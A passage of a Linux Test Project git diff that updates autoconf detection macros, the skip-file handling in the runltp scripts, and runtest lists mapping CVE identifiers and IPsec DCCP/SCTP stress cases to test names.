 dnl Author: Masatake YAMATO <yamato@redhat.com>
+dnl Copyright (c) 2017 Petr Vorel <pvorel@suse.cz>
 dnl
 
 dnl
 dnl LTP_CHECK_SYSCALL_EVENTFD
 dnl ----------------------------
 dnl
-AC_DEFUN([LTP_CHECK_SYSCALL_EVENTFD],
-[dnl
-AH_TEMPLATE(HAVE_IO_SET_EVENTFD,
-[Define to 1 if you have the `io_set_eventfd' function.])
-AC_CHECK_HEADERS(libaio.h,[
-	AC_CHECK_LIB(aio,io_setup,[
-		AIO_LIBS="-laio"
+AC_DEFUN([LTP_CHECK_SYSCALL_EVENTFD], [
+	AC_CHECK_HEADERS(libaio.h, [have_libaio=yes])
+	AC_CHECK_LIB(aio, io_setup, [have_aio=yes])
+
+	if test "x$have_libaio" = "xyes" -a "x$have_aio" = "xyes"; then
+		AC_DEFINE(HAVE_LIBAIO, 1, [Define to 1 if you have libaio and it's headers installed.])
+		AC_SUBST(AIO_LIBS, "-laio")
+
 		AC_MSG_CHECKING([io_set_eventfd is defined in aio library or aio header])
 		AC_TRY_LINK([#include <stdio.h>
                              #include <libaio.h>
 		            ],
-                            [io_set_eventfd(NULL, 0); return 0;
-			    ],
-			    [AC_DEFINE(HAVE_IO_SET_EVENTFD)
-			     AC_MSG_RESULT(yes)],
-                            [AC_MSG_RESULT(no)])],
-		AIO_LIBS="")])
-AC_SUBST(AIO_LIBS)
+		            [io_set_eventfd(NULL, 0); return 0;],
+		            [AC_DEFINE(HAVE_IO_SET_EVENTFD, 1, [Define to 1 if you have `io_set_eventfd' function.])
+						AC_MSG_RESULT(yes)],
+		            [AC_MSG_RESULT(no)])
+	fi
 ])
diff --git a/m4/ltp-can.m4 b/m4/ltp-host-cpu.m4
similarity index 62%
copy from m4/ltp-can.m4
copy to m4/ltp-host-cpu.m4
index af437ef..2536047 100644
--- a/m4/ltp-can.m4
+++ b/m4/ltp-host-cpu.m4
@@ -1,5 +1,4 @@
-dnl
-dnl Copyright (c) Linux Test Project, 2014
+dnl Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
 dnl
 dnl This program is free software;  you can redistribute it and/or modify
 dnl it under the terms of the GNU General Public License as published by
@@ -12,14 +11,15 @@
 dnl the GNU General Public License for more details.
 dnl
 dnl You should have received a copy of the GNU General Public License
-dnl along with this program;  if not, write to the Free Software
-dnl Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-dnl
+dnl along with this program. If not, see <http://www.gnu.org/licenses/>.
 
-dnl
-dnl LTP_CHECK_CAN_SUPPORT
-dnl ----------------------------
-dnl
-AC_DEFUN([LTP_CHECK_CAN_SUPPORT],[
-AC_CHECK_HEADERS([linux/can.h])
+AC_DEFUN([LTP_DETECT_HOST_CPU], [
+AC_SUBST([HOST_CPU], [$host_cpu])
+AS_CASE([$host_cpu],
+  [amd64], [HOST_CPU=x86_64],
+  [arm*], [HOST_CPU=arm],
+  [i?86|x86], [HOST_CPU=x86],
+  [s390*], [HOST_CPU=s390],
+)
+AC_SUBST([HOST_CPU])
 ])
diff --git a/m4/ltp-keyctl.m4 b/m4/ltp-keyctl.m4
deleted file mode 100644
index 6a239ca..0000000
--- a/m4/ltp-keyctl.m4
+++ /dev/null
@@ -1,25 +0,0 @@
-dnl
-dnl Copyright (c) 2014 Linux Test Project
-dnl
-dnl This program is free software; you can redistribute it and/or
-dnl modify it under the terms of the GNU General Public License as
-dnl published by the Free Software Foundation; either version 2 of
-dnl the License, or (at your option) any later version.
-dnl
-dnl This program is distributed in the hope that it would be useful,
-dnl but WITHOUT ANY WARRANTY; without even the implied warranty of
-dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-dnl GNU General Public License for more details.
-dnl
-dnl You should have received a copy of the GNU General Public License
-dnl along with this program; if not, write the Free Software Foundation,
-dnl Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-dnl
-
-dnl
-dnl LTP_CHECK_KEYCTL
-dnl ----------------------------
-dnl
-AC_DEFUN([LTP_CHECK_KEYCTL],[
-AC_CHECK_HEADERS([linux/keyctl.h])
-])
diff --git a/m4/ltp-keyutils.m4 b/m4/ltp-keyutils.m4
index 74b7d32..82b86ad 100644
--- a/m4/ltp-keyutils.m4
+++ b/m4/ltp-keyutils.m4
@@ -1,5 +1,7 @@
 dnl
 dnl Copyright (c) 2016 Fujitsu Ltd.
+dnl Copyright (c) 2017 Petr Vorel <pvorel@suse.cz>
+dnl
 dnl Author: Xiao Yang <yangx.jy@cn.fujitsu.com>
 dnl
 dnl This program is free software; you can redistribute it and/or modify it
@@ -18,7 +20,8 @@
 dnl LTP_CHECK_KEYUTILS_SUPPORT
 dnl ----------------------------
 dnl
-AC_DEFUN([LTP_CHECK_KEYUTILS_SUPPORT],[
-AC_CHECK_HEADERS([keyutils.h], [keyutils_libs="-lkeyutils"])
-AC_SUBST([KEYUTILS_LIBS], [$keyutils_libs])
+AC_DEFUN([LTP_CHECK_KEYUTILS_SUPPORT], [
+	AC_CHECK_LIB([keyutils], [add_key],
+	[AC_DEFINE(HAVE_LIBKEYUTILS, 1, [Define to 1 if you have libkeyutils installed.])
+	      AC_SUBST(KEYUTILS_LIBS, "-lkeyutils")])
 ])
diff --git a/m4/ltp-numa.m4 b/m4/ltp-numa.m4
index 30650cd..fc3383e 100644
--- a/m4/ltp-numa.m4
+++ b/m4/ltp-numa.m4
@@ -16,35 +16,29 @@
 dnl Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
 dnl
 dnl Author: Ngie Cooper <yaneurabeya@gmail.com>
+dnl Copyright (c) 2017 Petr Vorel <pvorel@suse.cz>
 dnl
 
 dnl
 dnl LTP_CHECK_SYSCALL_NUMA
 dnl ----------------------------
 dnl
-AC_DEFUN([LTP_CHECK_SYSCALL_NUMA],
-[dnl
-AC_CHECK_HEADERS([linux/mempolicy.h numa.h numaif.h],[
-	LTP_SYSCALL_NUMA_HEADERS=yes
-	AC_CHECK_LIB(numa,numa_alloc_onnode,[have_numa_alloc_onnode="yes"])
-	if  test "x$have_numa_alloc_onnode" = "xyes"; then
-		AC_DEFINE(HAVE_NUMA_ALLOC_ONNODE,1,[define to 1 if you have 'numa_alloc_onnode' function])
+AC_DEFUN([LTP_CHECK_SYSCALL_NUMA], [
+	AC_CHECK_LIB(numa, numa_available, [have_libnuma=yes])
+	AC_CHECK_HEADERS([numa.h numaif.h], [], [have_numa_headers=no])
+
+	if test "x$have_numa_headers" != "xno"; then
+		AC_RUN_IFELSE([AC_LANG_PROGRAM([
+#include <numa.h>
+		], [
+#if LIBNUMA_API_VERSION < 2
+exit(1);
+#endif
+		])], [have_numa_headers_v2=yes])
 	fi
-	AC_CHECK_LIB(numa,numa_move_pages,[have_numa_move_pages="yes"])
-	if  test "x$have_numa_move_pages" = "xyes"; then
-		AC_DEFINE(HAVE_NUMA_MOVE_PAGES,1,[define to 1 if you have 'numa_move_pages' function])
+
+	if test "x$have_libnuma" = "xyes" -a "x$have_numa_headers" != "xno" -a "x$have_numa_headers_v2" = "xyes"; then
+		AC_SUBST(NUMA_LIBS, "-lnuma")
+		AC_DEFINE(HAVE_NUMA_V2, 1, [Define to 1 if you have libnuma and it's headers version >= 2 installed.])
 	fi
-]
-	AC_CHECK_LIB(numa,numa_available,[
-NUMA_CPPFLAGS="-DNUMA_VERSION1_COMPATIBILITY"
-NUMA_LIBS="-lnuma"
-	])
-dnl For testcases/kernel/controllers/cpuset, testcases/kernel/syscalls/get_mempolicy,
-dnl testcases/kernel/syscalls/mbind
-AC_CHECK_DECLS([MPOL_BIND, MPOL_DEFAULT, MPOL_F_ADDR, MPOL_F_MEMS_ALLOWED, MPOL_F_NODE, MPOL_INTERLEAVE, MPOL_PREFERRED],[have_mpol_constants="yes"],,[#include <numaif.h>])
-AC_SUBST(NUMA_CPPFLAGS)
-AC_SUBST(NUMA_LIBS)
-if test "x$have_mpol_constants" = "xyes"; then
-	AC_DEFINE(HAVE_MPOL_CONSTANTS,1,[define to 1 if you have all constants required to use mbind tests])
-fi
-)])
+])
diff --git a/m4/ltp-can.m4 b/m4/ltp-tpacket-v3.m4
similarity index 64%
rename from m4/ltp-can.m4
rename to m4/ltp-tpacket-v3.m4
index af437ef..fce2e0e 100644
--- a/m4/ltp-can.m4
+++ b/m4/ltp-tpacket-v3.m4
@@ -1,5 +1,4 @@
-dnl
-dnl Copyright (c) Linux Test Project, 2014
+dnl Copyright (c) 2017 Richard Palethorpe <rpalethorpe@suse.com>
 dnl
 dnl This program is free software;  you can redistribute it and/or modify
 dnl it under the terms of the GNU General Public License as published by
@@ -12,14 +11,12 @@
 dnl the GNU General Public License for more details.
 dnl
 dnl You should have received a copy of the GNU General Public License
-dnl along with this program;  if not, write to the Free Software
-dnl Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-dnl
+dnl along with this program. If not, see <http://www.gnu.org/licenses/>.
 
-dnl
-dnl LTP_CHECK_CAN_SUPPORT
-dnl ----------------------------
-dnl
-AC_DEFUN([LTP_CHECK_CAN_SUPPORT],[
-AC_CHECK_HEADERS([linux/can.h])
+AC_DEFUN([LTP_CHECK_TPACKET_V3],[
+AC_CHECK_TYPES([struct tpacket_req3],,,[
+#ifdef HAVE_LINUX_IF_PACKET_H
+# include <linux/if_packet.h>
+#endif
+])
 ])
diff --git a/runltp b/runltp
index 8e40d67..302c4a7 100755
--- a/runltp
+++ b/runltp
@@ -692,10 +692,10 @@
     fi
 
     # Blacklist or skip tests if a SKIPFILE was specified with -S
-    if [ -n "$SKIPFILE" ]
-    then
-        for file in $( cat $SKIPFILE ); do
-            sed -i "/^$file[ \t]/d" ${TMP}/alltests
+    if [ -n "${SKIPFILE}" ]; then
+        for test_name in $(awk '{print $1}' "${SKIPFILE}"); do
+            case "${test_name}" in \#*) continue;; esac
+            sed -i "/\<${test_name}\>/c\\${test_name} exit 32;" alltests
         done
     fi
 
diff --git a/runltplite.sh b/runltplite.sh
index 9313649..17be009 100755
--- a/runltplite.sh
+++ b/runltplite.sh
@@ -316,10 +316,10 @@
     }
 
     # Blacklist or skip tests if a SKIPFILE was specified with -S
-    if [ -n "$SKIPFILE" ]
-    then
-        for file in $( cat $SKIPFILE ); do
-            sed -i "/^$file[ \t]/d" ${TMP}/alltests
+    if [ -n "${SKIPFILE}" ]; then
+        for test_name in $(awk '{print $1}' "${SKIPFILE}"); do
+            case "${test_name}" in \#*) continue;; esac
+            sed -i "/\<${test_name}\>/c\\${test_name} exit 32;" alltests
         done
     fi
 
diff --git a/runtest/commands b/runtest/commands
index 00ae0d2..92df3af 100644
--- a/runtest/commands
+++ b/runtest/commands
@@ -43,3 +43,4 @@
 wc01 wc01.sh
 keyctl01 keyctl01.sh
 gdb01 gdb01.sh
+unshare01 unshare01.sh
diff --git a/runtest/cve b/runtest/cve
index 8c140b5..5d12408 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -11,10 +11,19 @@
 cve-2016-5195 dirtyc0w
 cve-2016-7042 cve-2016-7042
 cve-2016-7117 cve-2016-7117
+cve-2016-9604 keyctl08
 cve-2016-10044 cve-2016-10044
 cve-2017-2618 cve-2017-2618
 cve-2017-2671 cve-2017-2671
 cve-2017-5669 cve-2017-5669
 cve-2017-6951 cve-2017-6951
+cve-2017-7308 setsockopt02
 cve-2017-7472 keyctl04
+cve-2017-12192 keyctl07
+cve-2017-12193 add_key04
+cve-2017-15274 add_key02
+cve-2017-15299 request_key03 -b cve-2017-15299
+cve-2017-15537 ptrace07
+cve-2017-15951 request_key03 -b cve-2017-15951
 cve-2017-1000364 stack_clash
+cve-2017-5754 meltdown
diff --git a/runtest/fs b/runtest/fs
index 33a8412..3fa210a 100644
--- a/runtest/fs
+++ b/runtest/fs
@@ -76,3 +76,5 @@
 quota_remount_test01 quota_remount_test01.sh
 
 isofs isofs.sh
+
+fs_fill fs_fill
diff --git a/runtest/net.features b/runtest/net.features
index 7f2c889..46c58f0 100644
--- a/runtest/net.features
+++ b/runtest/net.features
@@ -37,6 +37,9 @@
 macvlan01 macvlan01.sh
 macvtap01 macvtap01.sh
 
+macsec01 macsec01.sh
+macsec02 macsec02.sh
+
 ipvlan01 ipvlan01.sh
 
 gre_ipv4_01 gre01.sh
diff --git a/runtest/net.tcp_cmds b/runtest/net.tcp_cmds
index b7daf9d..859f481 100644
--- a/runtest/net.tcp_cmds
+++ b/runtest/net.tcp_cmds
@@ -5,18 +5,14 @@
 ipneigh01 ipneigh01.sh
 arping01 arping01.sh
 clockdiff01 clockdiff01.sh
-echo export TCbin=$LTPROOT/testcases/network/tcp_cmds/echo; echo01
-finger finger01
 ftp export TCbin=$LTPROOT/testcases/network/tcp_cmds/ftp; ftp01
 host host01
 netstat netstat01
 ping01 ping01.sh
 ping02 ping02.sh
 rcp export TCbin=$LTPROOT/testcases/network/tcp_cmds/rcp; rcp01
-rdist export TCbin=$LTPROOT/testcases/network/tcp_cmds/rdist; rdist01
 rlogin rlogin01
 rsh rsh01
-rwho rwho01
 sendfile export TCbin=$LTPROOT/testcases/network/tcp_cmds/sendfile; sendfile01
 tcpdump tcpdump01
 telnet telnet01
diff --git a/runtest/net_stress.ipsec_dccp b/runtest/net_stress.ipsec_dccp
new file mode 100644
index 0000000..d867ab5
--- /dev/null
+++ b/runtest/net_stress.ipsec_dccp
@@ -0,0 +1,109 @@
+dccp4_ipsec01 dccp_ipsec.sh -s "100 500 1000"
+dccp4_ipsec02 dccp_ipsec.sh -p ah -m transport -s "100 500 1000"
+dccp4_ipsec03 dccp_ipsec.sh -p ah -m tunnel -s "100 500 1000"
+dccp4_ipsec04 dccp_ipsec.sh -p esp -m transport -s "100 500 1000"
+dccp4_ipsec05 dccp_ipsec.sh -p esp -m tunnel -s "100 500 1000"
+dccp4_ipsec06 dccp_ipsec.sh -p comp -m transport -s "100 500 1000"
+dccp4_ipsec07 dccp_ipsec.sh -p comp -m tunnel -s "100 500 1000"
+dccp4_ipsec08 dccp_ipsec.sh -A rfc4106_128 -p esp_aead -m transport -s "100 500 1000"
+dccp4_ipsec09 dccp_ipsec.sh -A rfc4106_128 -p esp_aead -m tunnel -s "100 500 1000"
+dccp4_ipsec10 dccp_ipsec.sh -A rfc4106_192 -p esp_aead -m transport -s "100 500 1000"
+dccp4_ipsec11 dccp_ipsec.sh -A rfc4106_192 -p esp_aead -m tunnel -s "100 500 1000"
+dccp4_ipsec12 dccp_ipsec.sh -A rfc4106_256 -p esp_aead -m transport -s "100 500 1000"
+dccp4_ipsec13 dccp_ipsec.sh -A rfc4106_256 -p esp_aead -m tunnel -s "100 500 1000"
+dccp4_ipsec14 dccp_ipsec.sh -A rfc4309_128 -p esp_aead -m transport -s "100 500 1000"
+dccp4_ipsec15 dccp_ipsec.sh -A rfc4309_128 -p esp_aead -m tunnel -s "100 500 1000"
+dccp4_ipsec16 dccp_ipsec.sh -A rfc4309_192 -p esp_aead -m transport -s "100 500 1000"
+dccp4_ipsec17 dccp_ipsec.sh -A rfc4309_192 -p esp_aead -m tunnel -s "100 500 1000"
+dccp4_ipsec18 dccp_ipsec.sh -A rfc4309_256 -p esp_aead -m transport -s "100 500 1000"
+dccp4_ipsec19 dccp_ipsec.sh -A rfc4309_256 -p esp_aead -m tunnel -s "100 500 1000"
+dccp4_ipsec20 dccp_ipsec.sh -A rfc4543_128 -p esp_aead -m transport -s "100 500 1000"
+dccp4_ipsec21 dccp_ipsec.sh -A rfc4543_128 -p esp_aead -m tunnel -s "100 500 1000"
+dccp4_ipsec22 dccp_ipsec.sh -A rfc4543_192 -p esp_aead -m transport -s "100 500 1000"
+dccp4_ipsec23 dccp_ipsec.sh -A rfc4543_192 -p esp_aead -m tunnel -s "100 500 1000"
+dccp4_ipsec24 dccp_ipsec.sh -A rfc4543_256 -p esp_aead -m transport -s "100 500 1000"
+dccp4_ipsec25 dccp_ipsec.sh -A rfc4543_256 -p esp_aead -m tunnel -s "100 500 1000"
+dccp4_ipsec26 dccp_ipsec.sh -p esp -a sha1 -e cast5 -m transport -s "100 500 1000"
+dccp4_ipsec27 dccp_ipsec.sh -p esp -a sha1 -e cast5 -m tunnel -s "100 500 1000"
+dccp4_ipsec28 dccp_ipsec.sh -p esp -a sha256 -e blowfish -m transport -s "100 500 1000"
+dccp4_ipsec29 dccp_ipsec.sh -p esp -a sha256 -e blowfish -m tunnel -s "100 500 1000"
+dccp4_ipsec30 dccp_ipsec.sh -p esp -a sha384 -e twofish -m transport -s "100 500 1000"
+dccp4_ipsec31 dccp_ipsec.sh -p esp -a sha384 -e twofish -m tunnel -s "100 500 1000"
+dccp4_ipsec32 dccp_ipsec.sh -p esp -a sha512 -e camellia -m transport -s "100 500 1000"
+dccp4_ipsec33 dccp_ipsec.sh -p esp -a sha512 -e camellia -m tunnel -s "100 500 1000"
+dccp4_ipsec34 dccp_ipsec.sh -p esp -a rmd160 -e serpent -m transport -s "100 500 1000"
+dccp4_ipsec35 dccp_ipsec.sh -p esp -a rmd160 -e serpent -m tunnel -s "100 500 1000"
+dccp4_ipsec36 dccp_ipsec.sh -p esp -m beet -s "100 500 1000"
+
+dccp6_ipsec01 dccp_ipsec.sh -6 -s "100 500 1000"
+dccp6_ipsec02 dccp_ipsec.sh -6 -p ah -m transport -s "100 500 1000"
+dccp6_ipsec03 dccp_ipsec.sh -6 -p ah -m tunnel -s "100 500 1000"
+dccp6_ipsec04 dccp_ipsec.sh -6 -p esp -m transport -s "100 500 1000"
+dccp6_ipsec05 dccp_ipsec.sh -6 -p esp -m tunnel -s "100 500 1000"
+dccp6_ipsec06 dccp_ipsec.sh -6 -p comp -m transport -s "100 500 1000"
+dccp6_ipsec07 dccp_ipsec.sh -6 -p comp -m tunnel -s "100 500 1000"
+dccp6_ipsec08 dccp_ipsec.sh -6 -A rfc4106_128 -p esp_aead -m transport -s "100 500 1000"
+dccp6_ipsec09 dccp_ipsec.sh -6 -A rfc4106_128 -p esp_aead -m tunnel -s "100 500 1000"
+dccp6_ipsec10 dccp_ipsec.sh -6 -A rfc4106_192 -p esp_aead -m transport -s "100 500 1000"
+dccp6_ipsec11 dccp_ipsec.sh -6 -A rfc4106_192 -p esp_aead -m tunnel -s "100 500 1000"
+dccp6_ipsec12 dccp_ipsec.sh -6 -A rfc4106_256 -p esp_aead -m transport -s "100 500 1000"
+dccp6_ipsec13 dccp_ipsec.sh -6 -A rfc4106_256 -p esp_aead -m tunnel -s "100 500 1000"
+dccp6_ipsec14 dccp_ipsec.sh -6 -A rfc4309_128 -p esp_aead -m transport -s "100 500 1000"
+dccp6_ipsec15 dccp_ipsec.sh -6 -A rfc4309_128 -p esp_aead -m tunnel -s "100 500 1000"
+dccp6_ipsec16 dccp_ipsec.sh -6 -A rfc4309_192 -p esp_aead -m transport -s "100 500 1000"
+dccp6_ipsec17 dccp_ipsec.sh -6 -A rfc4309_192 -p esp_aead -m tunnel -s "100 500 1000"
+dccp6_ipsec18 dccp_ipsec.sh -6 -A rfc4309_256 -p esp_aead -m transport -s "100 500 1000"
+dccp6_ipsec19 dccp_ipsec.sh -6 -A rfc4309_256 -p esp_aead -m tunnel -s "100 500 1000"
+dccp6_ipsec20 dccp_ipsec.sh -6 -A rfc4543_128 -p esp_aead -m transport -s "100 500 1000"
+dccp6_ipsec21 dccp_ipsec.sh -6 -A rfc4543_128 -p esp_aead -m tunnel -s "100 500 1000"
+dccp6_ipsec22 dccp_ipsec.sh -6 -A rfc4543_192 -p esp_aead -m transport -s "100 500 1000"
+dccp6_ipsec23 dccp_ipsec.sh -6 -A rfc4543_192 -p esp_aead -m tunnel -s "100 500 1000"
+dccp6_ipsec24 dccp_ipsec.sh -6 -A rfc4543_256 -p esp_aead -m transport -s "100 500 1000"
+dccp6_ipsec25 dccp_ipsec.sh -6 -A rfc4543_256 -p esp_aead -m tunnel -s "100 500 1000"
+dccp6_ipsec26 dccp_ipsec.sh -6 -p esp -a sha1 -e cast5 -m transport -s "100 500 1000"
+dccp6_ipsec27 dccp_ipsec.sh -6 -p esp -a sha1 -e cast5 -m tunnel -s "100 500 1000"
+dccp6_ipsec28 dccp_ipsec.sh -6 -p esp -a sha256 -e blowfish -m transport -s "100 500 1000"
+dccp6_ipsec29 dccp_ipsec.sh -6 -p esp -a sha256 -e blowfish -m tunnel -s "100 500 1000"
+dccp6_ipsec30 dccp_ipsec.sh -6 -p esp -a sha384 -e twofish -m transport -s "100 500 1000"
+dccp6_ipsec31 dccp_ipsec.sh -6 -p esp -a sha384 -e twofish -m tunnel -s "100 500 1000"
+dccp6_ipsec32 dccp_ipsec.sh -6 -p esp -a sha512 -e camellia -m transport -s "100 500 1000"
+dccp6_ipsec33 dccp_ipsec.sh -6 -p esp -a sha512 -e camellia -m tunnel -s "100 500 1000"
+dccp6_ipsec34 dccp_ipsec.sh -6 -p esp -a rmd160 -e serpent -m transport -s "100 500 1000"
+dccp6_ipsec35 dccp_ipsec.sh -6 -p esp -a rmd160 -e serpent -m tunnel -s "100 500 1000"
+dccp6_ipsec36 dccp_ipsec.sh -6 -p esp -m beet -s "100 500 1000"
+
+dccp4_ipsec_vti01 dccp_ipsec_vti.sh -p ah -m tunnel -s "100 500 1000"
+dccp4_ipsec_vti02 dccp_ipsec_vti.sh -p esp -m tunnel -s "100 500 1000"
+# dccp4_ipsec_vti03 dccp_ipsec_vti.sh -p comp -m tunnel -s "100 500 1000"
+dccp4_ipsec_vti04 dccp_ipsec_vti.sh -A rfc4106_128 -p esp_aead -m tunnel -s "100 500 1000"
+dccp4_ipsec_vti05 dccp_ipsec_vti.sh -A rfc4106_192 -p esp_aead -m tunnel -s "100 500 1000"
+dccp4_ipsec_vti06 dccp_ipsec_vti.sh -A rfc4106_256 -p esp_aead -m tunnel -s "100 500 1000"
+dccp4_ipsec_vti07 dccp_ipsec_vti.sh -A rfc4309_128 -p esp_aead -m tunnel -s "100 500 1000"
+dccp4_ipsec_vti08 dccp_ipsec_vti.sh -A rfc4309_192 -p esp_aead -m tunnel -s "100 500 1000"
+dccp4_ipsec_vti09 dccp_ipsec_vti.sh -A rfc4309_256 -p esp_aead -m tunnel -s "100 500 1000"
+dccp4_ipsec_vti10 dccp_ipsec_vti.sh -A rfc4543_128 -p esp_aead -m tunnel -s "100 500 1000"
+dccp4_ipsec_vti11 dccp_ipsec_vti.sh -A rfc4543_192 -p esp_aead -m tunnel -s "100 500 1000"
+dccp4_ipsec_vti12 dccp_ipsec_vti.sh -A rfc4543_256 -p esp_aead -m tunnel -s "100 500 1000"
+dccp4_ipsec_vti13 dccp_ipsec_vti.sh -p esp -a sha1 -e cast5 -m tunnel -s "100 500 1000"
+dccp4_ipsec_vti14 dccp_ipsec_vti.sh -p esp -a sha256 -e blowfish -m tunnel -s "100 500 1000"
+dccp4_ipsec_vti15 dccp_ipsec_vti.sh -p esp -a sha384 -e twofish -m tunnel -s "100 500 1000"
+dccp4_ipsec_vti16 dccp_ipsec_vti.sh -p esp -a sha512 -e camellia -m tunnel -s "100 500 1000"
+dccp4_ipsec_vti17 dccp_ipsec_vti.sh -p esp -a rmd160 -e serpent -m tunnel -s "100 500 1000"
+
+dccp6_ipsec_vti01 dccp_ipsec_vti.sh -6 -p ah -m tunnel -s "100 500 1000"
+dccp6_ipsec_vti02 dccp_ipsec_vti.sh -6 -p esp -m tunnel -s "100 500 1000"
+# dccp6_ipsec_vti03 dccp_ipsec_vti.sh -6 -p comp -m tunnel -s "100 500 1000"
+dccp6_ipsec_vti04 dccp_ipsec_vti.sh -6 -A rfc4106_128 -p esp_aead -m tunnel -s "100 500 1000"
+dccp6_ipsec_vti05 dccp_ipsec_vti.sh -6 -A rfc4106_192 -p esp_aead -m tunnel -s "100 500 1000"
+dccp6_ipsec_vti06 dccp_ipsec_vti.sh -6 -A rfc4106_256 -p esp_aead -m tunnel -s "100 500 1000"
+dccp6_ipsec_vti07 dccp_ipsec_vti.sh -6 -A rfc4309_128 -p esp_aead -m tunnel -s "100 500 1000"
+dccp6_ipsec_vti08 dccp_ipsec_vti.sh -6 -A rfc4309_192 -p esp_aead -m tunnel -s "100 500 1000"
+dccp6_ipsec_vti09 dccp_ipsec_vti.sh -6 -A rfc4309_256 -p esp_aead -m tunnel -s "100 500 1000"
+dccp6_ipsec_vti10 dccp_ipsec_vti.sh -6 -A rfc4543_128 -p esp_aead -m tunnel -s "100 500 1000"
+dccp6_ipsec_vti11 dccp_ipsec_vti.sh -6 -A rfc4543_192 -p esp_aead -m tunnel -s "100 500 1000"
+dccp6_ipsec_vti12 dccp_ipsec_vti.sh -6 -A rfc4543_256 -p esp_aead -m tunnel -s "100 500 1000"
+dccp6_ipsec_vti13 dccp_ipsec_vti.sh -6 -p esp -a sha1 -e cast5 -m tunnel -s "100 500 1000"
+dccp6_ipsec_vti14 dccp_ipsec_vti.sh -6 -p esp -a sha256 -e blowfish -m tunnel -s "100 500 1000"
+dccp6_ipsec_vti15 dccp_ipsec_vti.sh -6 -p esp -a sha384 -e twofish -m tunnel -s "100 500 1000"
+dccp6_ipsec_vti16 dccp_ipsec_vti.sh -6 -p esp -a sha512 -e camellia -m tunnel -s "100 500 1000"
+dccp6_ipsec_vti17 dccp_ipsec_vti.sh -6 -p esp -a rmd160 -e serpent -m tunnel -s "100 500 1000"
diff --git a/runtest/net_stress.ipsec_icmp b/runtest/net_stress.ipsec_icmp
index 9c9a4ab..0267cf6 100644
--- a/runtest/net_stress.ipsec_icmp
+++ b/runtest/net_stress.ipsec_icmp
@@ -97,6 +97,7 @@
 icmp4-uni-vti14 icmp-uni-vti.sh -A rfc4543_128 -p esp_aead -m tunnel -s "10 100 1000 10000 65463"
 icmp4-uni-vti15 icmp-uni-vti.sh -A rfc4543_192 -p esp_aead -m tunnel -s "10 100 1000 10000 65463"
 icmp4-uni-vti16 icmp-uni-vti.sh -A rfc4543_256 -p esp_aead -m tunnel -s "10 100 1000 10000 65463"
+icmp4-uni-vti17 icmp-uni-vti.sh -p comp -m tunnel -s 1000
 
 icmp6-uni-vti01 icmp-uni-vti.sh -6 -p ah -m tunnel -S fffffffe -k 0xffffffff -s "10 100 1000 10000 65527"
 icmp6-uni-vti02 icmp-uni-vti.sh -6 -p esp -a sha256 -e des3_ede -m tunnel -S fffffffe -k 0xffffffff -s "10 100 1000 10000 65527"
@@ -114,3 +115,5 @@
 icmp6-uni-vti14 icmp-uni-vti.sh -6 -A rfc4543_128 -p esp_aead -m tunnel -s "10 100 1000 10000 65527"
 icmp6-uni-vti15 icmp-uni-vti.sh -6 -A rfc4543_192 -p esp_aead -m tunnel -s "10 100 1000 10000 65527"
 icmp6-uni-vti16 icmp-uni-vti.sh -6 -A rfc4543_256 -p esp_aead -m tunnel -s "10 100 1000 10000 65527"
+icmp6-uni-vti17 icmp-uni-vti.sh -6 -p comp -m tunnel -s 1000
+
diff --git a/runtest/net_stress.ipsec_sctp b/runtest/net_stress.ipsec_sctp
new file mode 100644
index 0000000..e71f951
--- /dev/null
+++ b/runtest/net_stress.ipsec_sctp
@@ -0,0 +1,109 @@
+sctp4_ipsec01 sctp_ipsec.sh -s "100 1000 65535"
+sctp4_ipsec02 sctp_ipsec.sh -p ah -m transport -s "100 1000 65535"
+sctp4_ipsec03 sctp_ipsec.sh -p ah -m tunnel -s "100 1000 65535"
+sctp4_ipsec04 sctp_ipsec.sh -p esp -m transport -s "100 1000 65535"
+sctp4_ipsec05 sctp_ipsec.sh -p esp -m tunnel -s "100 1000 65535"
+sctp4_ipsec06 sctp_ipsec.sh -p comp -m transport -s "100 1000 65535"
+sctp4_ipsec07 sctp_ipsec.sh -p comp -m tunnel -s "100 1000 65535"
+sctp4_ipsec08 sctp_ipsec.sh -A rfc4106_128 -p esp_aead -m transport -s "100 1000 65535"
+sctp4_ipsec09 sctp_ipsec.sh -A rfc4106_128 -p esp_aead -m tunnel -s "100 1000 65535"
+sctp4_ipsec10 sctp_ipsec.sh -A rfc4106_192 -p esp_aead -m transport -s "100 1000 65535"
+sctp4_ipsec11 sctp_ipsec.sh -A rfc4106_192 -p esp_aead -m tunnel -s "100 1000 65535"
+sctp4_ipsec12 sctp_ipsec.sh -A rfc4106_256 -p esp_aead -m transport -s "100 1000 65535"
+sctp4_ipsec13 sctp_ipsec.sh -A rfc4106_256 -p esp_aead -m tunnel -s "100 1000 65535"
+sctp4_ipsec14 sctp_ipsec.sh -A rfc4309_128 -p esp_aead -m transport -s "100 1000 65535"
+sctp4_ipsec15 sctp_ipsec.sh -A rfc4309_128 -p esp_aead -m tunnel -s "100 1000 65535"
+sctp4_ipsec16 sctp_ipsec.sh -A rfc4309_192 -p esp_aead -m transport -s "100 1000 65535"
+sctp4_ipsec17 sctp_ipsec.sh -A rfc4309_192 -p esp_aead -m tunnel -s "100 1000 65535"
+sctp4_ipsec18 sctp_ipsec.sh -A rfc4309_256 -p esp_aead -m transport -s "100 1000 65535"
+sctp4_ipsec19 sctp_ipsec.sh -A rfc4309_256 -p esp_aead -m tunnel -s "100 1000 65535"
+sctp4_ipsec20 sctp_ipsec.sh -A rfc4543_128 -p esp_aead -m transport -s "100 1000 65535"
+sctp4_ipsec21 sctp_ipsec.sh -A rfc4543_128 -p esp_aead -m tunnel -s "100 1000 65535"
+sctp4_ipsec22 sctp_ipsec.sh -A rfc4543_192 -p esp_aead -m transport -s "100 1000 65535"
+sctp4_ipsec23 sctp_ipsec.sh -A rfc4543_192 -p esp_aead -m tunnel -s "100 1000 65535"
+sctp4_ipsec24 sctp_ipsec.sh -A rfc4543_256 -p esp_aead -m transport -s "100 1000 65535"
+sctp4_ipsec25 sctp_ipsec.sh -A rfc4543_256 -p esp_aead -m tunnel -s "100 1000 65535"
